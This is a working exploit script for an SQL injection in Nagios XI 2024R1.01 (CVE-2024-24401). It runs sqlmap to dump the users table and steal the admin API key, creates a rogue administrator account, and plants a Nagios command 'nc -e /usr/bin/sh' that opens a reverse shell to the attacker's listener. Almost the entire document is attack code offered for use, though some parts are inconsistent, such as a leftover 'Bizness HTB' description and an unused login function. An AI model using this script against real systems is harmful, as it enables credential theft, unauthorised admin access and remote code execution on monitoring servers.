Nagios XI Version 2024R1.01 – SQL Injection

# Exploit Title: NAGIOS XI SQLI

# Google Dork: [if applicable]

# Date: 02/26/2024

# Exploit Author: Jarod Jaslow (MAWK) https://www.linkedin.com/in/jarod-jaslow-codename-mawk-265144201/

# Vendor Homepage: https://www.nagios.com/changelog/#nagios-xi

# Software Link: https://github.com/MAWK0235/CVE-2024-24401

# Version: Nagios XI Version 2024R1.01

# Tested on: Nagios XI Version 2024R1.01 LINUX

# CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24401

#

import requests

import subprocess

import argparse

import re

import urllib3

import os

import random

import string

from colorama import Fore, Style

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def serviceLogin(user,password):

r = requests.post(f'http://{IP}/nagiosxi/api/v1/authenticate?pretty=1',data={'username':user,'password':password,"valid_min":"5"},verify=False)

print(f"{Fore.MAGENTA}[+] Authenticating with captured credtials to API....")

match = re.search(r'auth_token": "(.*)"',r.text)

if match:

token = match.group(1)

print(f'{Fore.MAGENTA}[+] Token: ' + token)

r = requests.get(f'http://{IP}/nagiosxi/login.php?token={token}', verify=False)

cookie = r.headers['Set-Cookie']

cookie = cookie.split(',')[0]

match = re.search(r'nagiosxi=(.*);', cookie)

cookie = match.group(1)

print(f"{Fore.MAGENTA}[+] Auth cookie is: " + cookie)

return cookie

else:

print(f'{Fore.RED}[-] Authentication Failed..{Style.RESET_ALL}')

exit()

def sqlmap(IP,username,password):

print(f'{Fore.MAGENTA}[+] Starting SQLMAP...')

session = requests.session()

s = session.get(f'http://{IP}/nagiosxi/index.php', verify=False)

match = re.search(r'var nsp_str = \"(.*?)\"', s.text)

nsp = match.group(1)

print(f"{Fore.MAGENTA}[+] NSP captured: " + nsp)

data = {"nsp": nsp, "page": "auth", "debug": '', "pageopt": "login", "username": username, "password": password, "loginButton": ''}

s = session.post(f'http://{IP}/nagiosxi/login.php', data=data)

print(f"{Fore.MAGENTA}[+] Authenticated as User..")

print(f"{Fore.MAGENTA}[+] Accepting license Agreement...")

s = session.get(f'http://{IP}/nagiosxi/login.php?showlicense', verify=False)

match = re.search(r'var nsp_str = \"(.*?)\"', s.text)

nsp = match.group(1)

data = {"page": "/nagiosxi/login.php", "pageopt": "agreelicense", "nsp": nsp, "agree_license": "on"}

session.post(f"http://{IP}/nagiosxi/login.php?showlicense", data=data)

print(f"{Fore.MAGENTA}[+] Performing mandatory password change ARGH")

newPass = "mawk"

data = {"page": "/nagiosxi/login.php", "pageopt": "changepass", "nsp": nsp,"current_password": password, "password1": newPass, "password2": newPass, "reporttimesubmitbutton": ''}

session.post(f"http://{IP}/nagiosxi/login.php?forcepasswordchange", data=data)

s= session.get(f'http://{IP}/nagiosxi/')

match = re.search(r'var nsp_str = \"(.*?)\"', s.text)

nsp = match.group(1)

cookie = s.cookies.get('nagiosxi')

sqlmap_command = f'sqlmap --flush-session -u "http://{IP}/nagiosxi//config/monitoringwizard.php/1*?update=1&nextstep=2&nsp={nsp}&wizard=mysqlserver" --cookie="nagiosxi={cookie}" --dump -D nagiosxi -T xi_users --drop-set-cookie --technique=ET --dbms=MySQL -p id --risk=3 --level=5 --threads=10 --batch'

#print(sqlmap_command)

sqlmap_command_output = subprocess.Popen(sqlmap_command,shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True )

try:

for line in iter(sqlmap_command_output.stdout.readline, ''):

if "| Nagios Administrator |" in line:

match = re.search(r"Nagios Administrator \| (.*?) \|", line)

if match:

adminKey= match.group(1)

print(f"{Fore.MAGENTA}[+] Admin Key recovered: " + adminKey)

return adminKey

else:

print(f"{Fore.RED}[-] Could not pull Admin Key :(....{Style.RESET_ALL}")

exit()

break

print("[-] SQLMAP capture FAILED..")

sqlmap_command_output.terminate()

except KeyboardInterrupt:

print(f"{Fore.RED}[-] SQLMAP interrupted. Cleaning up...{Style.RESET_ALL}")

sqlmap_command_output.terminate()

sqlmap_command_output.communicate()

exit()

def createAdmin(IP,adminKey):

characters = string.ascii_letters + string.digits

random_username = ''.join(random.choice(characters) for i in range(5))

random_password = ''.join(random.choice(characters) for i in range(5))

data = {"username": random_username, "password": random_password, "name": random_username, "email": f"{random_username}@mail.com", "auth_level": "admin"}

r = requests.post(f'http://{IP}/nagiosxi/api/v1/system/user?apikey={adminKey}&pretty=1', data=data, verify=False)

if "success" in r.text:

print(f'{Fore.MAGENTA}[+] Admin account created...')

return random_username, random_password

else:

print(f'{Fore.RED}[-] Account Creation Failed!!! :(...{Style.RESET_ALL}')

print(r.text)

exit()

def start_HTTP_server():

subprocess.Popen(["python", "-m", "http.server", "8000"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)

def adminExploit(adminUsername, adminPassword, IP, LHOST,LPORT):

print(f"{Fore.MAGENTA}[+] Conducting mandatory password change...")

session = requests.session()

s = session.get(f'http://{IP}/nagiosxi/index.php', verify=False)

match = re.search(r'var nsp_str = \"(.*?)\"', s.text)

nsp = match.group(1)

print(f"{Fore.MAGENTA}[+] NSP captured: " + nsp)

data = {"nsp": nsp, "page": "auth", "debug": '', "pageopt": "login", "username": adminUsername, "password": adminPassword, "loginButton": ''}

s = session.post(f'http://{IP}/nagiosxi/login.php', data=data)

print(f"{Fore.MAGENTA}[+] Authenticated as admin..")

print(f"{Fore.MAGENTA}[+] Accepting license Agreement...")

s = session.get(f'http://{IP}/nagiosxi/login.php?showlicense', verify=False)

match = re.search(r'var nsp_str = \"(.*?)\"', s.text)

nsp = match.group(1)

data = {"page": "/nagiosxi/login.php", "pageopt": "agreelicense", "nsp": nsp, "agree_license": "on"}

session.post(f"http://{IP}/nagiosxi/login.php?showlicense", data=data)

print(f"{Fore.MAGENTA}[+] Performing mandatory password change ARGH")

newAdminPass = adminUsername + adminPassword

data = {"page": "/nagiosxi/login.php", "pageopt": "changepass","current_password": adminPassword, "nsp": nsp, "password1": newAdminPass, "password2": newAdminPass, "reporttimesubmitbutton": ''}

session.post(f"http://{IP}/nagiosxi/login.php?forcepasswordchange", data=data)

print(f"{Fore.MAGENTA}[+] Creating new command...")

data = {"tfName": adminUsername, "tfCommand": f"nc -e /usr/bin/sh {LHOST} {LPORT}", "selCommandType": "1", "chbActive": "1", "cmd": "submit", "mode": "insert", "hidId": "0", "hidName": '', "hidServiceDescription": '', "hostAddress": "127.0.0.1", "exactType": "command", "type": "command", "genericType": "command"}

session.post(f'http://{IP}/nagiosxi/includes/components/ccm/index.php?type=command&page=1', data=data)

data = {"cmd": '', "continue": ''}

start_HTTP_server()

print(f"{Fore.MAGENTA}[+] Created command: " + adminUsername)

session.post(f'http://{IP}/nagiosxi/includes/components/nagioscorecfg/applyconfig.php?cmd=confirm', data=data)

data = {"search": adminUsername}

s = session.post(f'http://{IP}/nagiosxi/includes/components/ccm/index.php?cmd=view&type=command&page=1', data=data)

match = re.search(r"javascript:actionPic\('deactivate','(.*?)','", s.text)

if match:

commandCID = match.group(1)

print(f"{Fore.MAGENTA}[+] Captured Command CID: " + commandCID)

s = session.get(f"http://{IP}/nagiosxi/includes/components/ccm/?cmd=view&type=service")

match = re.search(r'var nsp_str = \"(.*?)\"', s.text)

if match:

nsp = match.group(1)

s = session.get(f"http://{IP}/nagiosxi/includes/components/ccm/command_test.php?cmd=test&mode=test&cid={commandCID}&nsp={nsp}")

os.system("kill -9 $(lsof -t -i:8000)")

print(f"{Fore.RED}[+] CHECK UR LISTENER")

else:

print(f"{Fore.RED}[-] ERROR")

else:

print(f"{Fore.RED}[-] Failed to capture Command CID..{Style.RESET_ALL}")

if __name__ == '__main__':

ascii_art = f"""{Fore.LIGHTRED_EX}

███╗ ███╗ █████╗ ██╗ ██╗██╗ ██╗ ███████╗ ██████╗██████╗ ██╗██████╗ ████████╗███████╗

████╗ ████║██╔══██╗██║ ██║██║ ██╔╝ ██╔════╝██╔════╝██╔══██╗██║██╔══██╗╚══██╔══╝██╔════╝

██╔████╔██║███████║██║ █╗ ██║█████╔╝ ███████╗██║ ██████╔╝██║██████╔╝ ██║ ███████╗

██║╚██╔╝██║██╔══██║██║███╗██║██╔═██╗ ╚════██║██║ ██╔══██╗██║██╔═══╝ ██║ ╚════██║

██║ ╚═╝ ██║██║ ██║╚███╔███╔╝██║ ██╗ ███████║╚██████╗██║ ██║██║██║ ██║ ███████║

╚═╝ ╚═╝╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═╝ ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝ ╚══════╝

{Style.RESET_ALL}

"""

print(ascii_art)

parser = argparse.ArgumentParser(description="AutoPwn Script for Bizness HTB machine", usage= "sudo Nagios.py <Target IP> <LHOST> <LPORT>")

parser.add_argument('IP' ,help= "Target IP ")

parser.add_argument('LHOST',help= "Local host")

parser.add_argument('LPORT' ,help= "Listening Port")

args = parser.parse_args()

min_required_args = 3

if len(vars(args)) != min_required_args:

parser.print_usage()

exit()

adminUsername, adminPassword = createAdmin(args.IP, sqlmap(args.IP,input(f"{Fore.MAGENTA}[+] Please insert a non-administrative username: "),input(f"{Fore.MAGENTA}[+] Please insert the password: ")))

print(f"{Fore.MAGENTA}[+] Admin Username=" + adminUsername)

print(f"{Fore.MAGENTA}[+] Admin Password=" + adminPassword)

adminExploit(adminUsername, adminPassword, args.IP,args.LHOST,args.LPORT)

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